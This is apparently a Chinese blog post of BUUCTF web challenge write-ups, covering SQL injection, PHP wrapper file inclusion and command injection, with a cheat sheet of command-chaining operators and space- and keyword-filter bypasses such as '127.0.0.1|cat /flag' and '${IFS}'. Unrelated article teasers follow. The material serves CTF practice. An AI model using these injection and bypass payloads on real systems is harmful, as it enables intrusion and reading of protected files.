buuctf——web题目练习

server/2024/10/15 15:58:46/

1.极客大挑战2019 easysql 

密码或者用户输入万能密码即可

关于万能密码的理解和原理,可以参考这篇BUUCTF[极客大挑战 2019] EasySQL 1_[极客大挑战 2019]easysql 1-CSDN博客

2.极客大挑战2019 have fun

题目源码

需要构造payload

网页传参可参考:

Web 页面之间传递参数的几种方法_web页面之间的传递数据方式-CSDN博客

3.ACTF2020新生赛include1

php伪协议,第一种就是先尝试php://input,发现被过滤了

使用:

    file://[文件的绝对路径和文件名]

    http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

    file://[文件的相对路径和文件名]

    http://127.0.0.1/include.php?file=./phpinfo.txt

    http://网络路径和文件名

    http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

尝试php://filter,发现成功了,然后用工具进行base64解码

发现file=flag.php

改一下payload

解码后得到flag

4.[ACTF2020 新生赛]Exec1

输入127.0.0.1后

输入127.0.0.1| ls未发现flag,于是从根目录开始找

输入127.0.0.1| ls/,发现了flag目录

读取flag内容,输入127.0.0.1|cat /flag

找到flag为

flag{2c00cb0e-6281-4979-a47a-41b03905b4ce}

5.[GXYCTF2019]Ping Ping Ping

输入?ip=1270.0.1,有回显

输入127.0.0.1 |ls,出现如下界面

输入127.0.0.1;ls   ,发现了flag.php

下一步抓取flag

可能是其中的空格被过滤了

依旧报错,还是有元素被过滤了

尝试了好几个代替空格的方式,结果都被过滤了

输入127.0.0.1;cat$IFS$index.php,结果如下

过滤了flag

考虑把flag.php换位base64编码后的,flag.php编码后为 ZmxhZy5waHA=

还是不行,发现是方式不对,不能直接将编码后的base64码直接放到后面

过滤了的元素现在就一目了然了

运用一个简单的传参避开flag的隐藏

6.[SUCTF 2019]EasySQL

必备知识

1、命令联合执行

    ; 前面的执行完执行后面的
    | 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
    || 当前面的执行出错时(为假)执行后面的
    & 将任务置于后台执行
    && 前面的语句为假则直接出错,后面的也不执行,前面只能为真
    %0a (换行)
    %0d (回车)

2、命令绕过空格

    当我们执行系统命令时,不免会遇到空格,如cat flag.txt,当空格被程序过滤时,便需要利用以下字符尝试代替绕过:  ${IFS}$              $IFS$                    %09   等等

    即: cat<flag.php
         cat${IFS}flag.php
         cat$IFS$9flag.php

3、变量拼接

比如我们想执行 cat flag.php但对方过滤了flag字符串

如:preg_match("/.*f.*l.*a.*g.*/", $ip)这个的意思是匹配到按flag这个顺序的所有字符

那么我们就可以利用变量拼接绕过:

?a=g;cat fla$a.php即可。
 


http://www.ppmy.cn/server/23718.html

相关文章

3、Flink执行模式(流/批)详解(上)

0、批模式和流模式对比表 类别流模式批模式任务调度所有任务需要持续运行&#xff0c;消耗资源大任务可以按Shuffle分阶段执行&#xff0c;消耗资源小Shuffle记录会被流水线式的持续发送到下游任务&#xff0c;在网络上进行缓冲可以保存Shuffle分阶段执行的中间结果State Back…

Java面试题:Spring里面的@RestController和@ResponseBody有什么作用?

ResponseBody ResponseBody一般是加在方法上&#xff0c;将返回的对象解析成xml或者json&#xff0c;返回给请求的调用者。一般是用于服务之间的调用&#xff0c;或者前端请求后端时&#xff0c;使用ajax请求。 如果不加ResponseBody&#xff0c;一般就是返回的url&#xff0c…

Stable Diffusion 常用放大算法详解

常用放大算法 图像放大算法大致有两种: 传统图像放大算法(Lantent、Lanczos、Nearest)AI图像放大算法(4x-UltraSharp、BSRGAN、ESRGAN等)传统图像放大算法是基于插值算法,计算出图像放大后新位置的像素值。AI图像放大算法,比一般的传统图像放大算法效果更好。 推荐放大…

21 JavaScript 学习:一些误区和易错点

赋值运算符应用错误 在 JavaScript 中&#xff0c;赋值运算符&#xff08;Assignment Operators&#xff09;用于给变量赋值。常见的赋值运算符包括 、、-、*、/ 等。如果赋值运算符的应用不正确&#xff0c;可能会导致程序出现错误或产生意外的结果。 以下是一些常见的赋值运…

Ansible一键部署zabbix+grafana+agent

目录 IP地址规划ansible安装分开部署安装zabbix-mysql安装zabbix-server安装zabbix-agent安装zabbix-grafana 一键部署自动发现 IP地址规划 名字地址主要安装软件ansible-server192.168.40.137zabbix-server、ansible、zabbix-mysqlzabbix-agent1192.168.40.138zabbix-agentza…

如何在CentOS本地搭建DataEase数据分析服务并实现远程查看数据分析

文章目录 前言1. 安装DataEase2. 本地访问测试3. 安装 cpolar内网穿透软件4. 配置DataEase公网访问地址5. 公网远程访问Data Ease6. 固定Data Ease公网地址 前言 DataEase 是开源的数据可视化分析工具&#xff0c;帮助用户快速分析数据并洞察业务趋势&#xff0c;从而实现业务…

Android常用命名大全

Android系统又太多自定义或者自制的命名工具&#xff0c;有很多工具有必要且很有用&#xff0c;所以有想法来把一些常用且实用的命令一一罗列出来供日后快速翻阅使用。 1、查看apk版本号&#xff08;windows&#xff09; ~\AppData\Local\Android\sdk\build-tools\25.0.3\aap…

数学小报4 - 三次方程的求根公式 Quadratic Formula

数学小报4 - 三次方程的求根公式 Quadratic Formula 0. 前言 完整内容同步发表于 https://blog.csdn.net/Mr_Azz/article/details/135443217 由于证明量过于巨大&#xff0c;部分证明简化&#xff0c;详情请见网址。 1. 思考 我们学习过一元二次方程的求根公式 x − b …